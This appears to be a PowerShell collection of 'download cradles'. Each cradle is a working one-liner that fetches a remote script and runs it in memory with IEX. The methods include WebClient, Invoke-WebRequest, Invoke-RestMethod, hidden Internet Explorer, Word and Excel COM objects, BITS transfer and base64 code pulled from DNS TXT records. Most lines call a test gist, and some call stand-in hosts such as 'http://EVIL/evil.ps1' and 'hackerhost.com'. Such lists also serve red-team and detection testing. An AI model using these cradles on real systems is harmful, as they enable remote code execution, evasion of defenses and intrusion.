Download Cradles

DownloadCradles.ps1

################################################## System.Net. cradles ##################################################
# System.Net.Webclient DownloadString
IEX (New-Object Net.Webclient).DownloadString('https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1')

# System.Net.Webclient DownloadData
IEX ([System.Text.Encoding]::ASCII.GetString((New-Object Net.Webclient).DownloadData('https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1')))

$test = (New-Object Net.Webclient).DownloadData('https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1'); $st = [System.Text.Encoding]::ASCII.GetString($test); IEX $st

# System.Net.Webclient DownloadFile (touches disk)
(New-Object Net.Webclient).DownloadFile('https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1','testdata'); IEX (Get-Content '.\testdata' -raw)

# System.Net.Webclient OpenRead
IEX (new-object System.IO.StreamReader ((New-Object Net.Webclient).OpenRead('https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1')) ).ReadToEnd()

$r = (New-Object Net.Webclient).OpenRead('https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1');  $sr = new-object System.IO.StreamReader $r; $result = $sr.ReadToEnd(); IEX $result

# System.Net.WebRequest
$r = [System.Net.WebRequest]::Create('https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1'); $resp = $r.GetResponse(); $respstream = $resp.GetResponseStream(); $sr = new-object System.IO.StreamReader $respstream; $result = $sr.ReadToEnd(); IEX $result

# System.Net.HttpWebRequest
$r = [System.Net.HttpWebRequest]::Create('https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1'); $resp = $r.GetResponse(); $respstream = $resp.GetResponseStream(); $sr = new-object System.IO.StreamReader $respstream; $result = $sr.ReadToEnd(); IEX $result

# System.Net.FileWebRequest
$r = [System.Net.FileWebRequest]::Create('https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1'); $resp = $r.GetResponse(); $respstream = $resp.GetResponseStream(); $sr = new-object System.IO.StreamReader $respstream; $result = $sr.ReadToEnd(); IEX $result

# System.Net.FtpWebRequest
$r = [System.Net.FtpWebRequest]::Create('https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1'); $resp = $r.GetResponse(); $respstream = $resp.GetResponseStream(); $sr = new-object System.IO.StreamReader $respstream; $result = $sr.ReadToEnd(); IEX $result

# TODO
# System.Net.Webclient DownloadDataAsync
# System.Net.Webclient DownloadDataTaskAsync
# System.Net.Webclient DownloadFileAsync
# System.Net.Webclient DownloadFileTaskAsync
# System.Net.Webclient DownloadStringAsync
# System.Net.Webclient DownloadStringTaskAsync
# System.Net.Webclient OpenReadAsync
# System.Net.Webclient OpenReadTaskAsync

################################################## Invoke-WebRequest and its aliases(PowerShell 3.0+) ##################################################
# get-alias -definition Invoke-WebRequest
IEX (iwr 'https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1')
IEX (Invoke-WebRequest 'https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1')
IEX (curl 'https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1')
IEX (wget 'https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1')


################################################## Invoke-RestMethod ##################################################
IEX (irm 'https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1')
IEX (Invoke-RestMethod 'https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1')


################################################## COM Objects ##################################################

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1',$false);$h.send();iex $h.responseText

# Msxml2.ServerXmlHttp 
$h=New-Object -ComObject Msxml2.ServerXmlHttp;$h.open('GET','https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1',$false);$h.send();iex $h.responseText

# WinHttp COM object (not proxy aware!)
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1',$false);$h.send();iex $h.responseText

# Word.Application COM object
$comWord=New-Object -ComObject Word.Application;While($comWord.Busy) { Start-Sleep -Seconds 1 } $comWord.Visible=$False; $doc=$comWord.Documents.Open('https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1'); While($comWord.Busy) { Start-Sleep -Seconds 1 } IEX $doc.Content.Text; $comWord.Quit(); [Void][System.Runtime.InteropServices.Marshal]::ReleaseComObject($comWord)

# Excel.Application COM object
$comExcel=New-Object -ComObject Excel.Application; While($comExcel.Busy) { Start-Sleep -Seconds 1 } $comExcel.DisplayAlerts=$False; $Null=$comExcel.Workbooks.Open('https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1'); While($comExcel.Busy) { Start-Sleep -Seconds 1 } IEX (($comExcel.Sheets.Item(1).Range("A1:N"+$comExcel.Sheets.Item(1).UsedRange.Rows.Count).Value2|?{(Variable _).Value})-Join"`n"); $comExcel.Quit(); [Void][System.Runtime.InteropServices.Marshal]::ReleaseComObject($comExcel)

################################################## Other ##################################################

# System.Xml.XmlDocument object
<#
<?xml version="1.0"?>
<command>
   <a>
      <execute>Write-Host "Hello from PowerShell!!!"; Get-Process</execute>
   </a>
  </command>
#>
$a = New-Object System.Xml.XmlDocument; $a.Load('https://gist.githubusercontent.com/Heirhabarov/c142706da076631ae8befde4b6768d37/raw/d73fbd82e04076200dc2d86ddd384deb1ebc5ef0/XmlDocument_PowerShell.xml'); iex ($a.command.a.execute)

# using bitstransfer- touches disk!
Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r

# DNS TXT approach from PowerBreach (https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerBreach/PowerBreach.ps1)
#   code to execute needs to be a base64 encoded string stored in a TXT record
IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( [regex]::Match((nslookup -querytype=txt hackerhost.com 10.0.0.1), '".*"').value -split '"'[0] )))

# TODO - System.Net.Sockets.TcpClient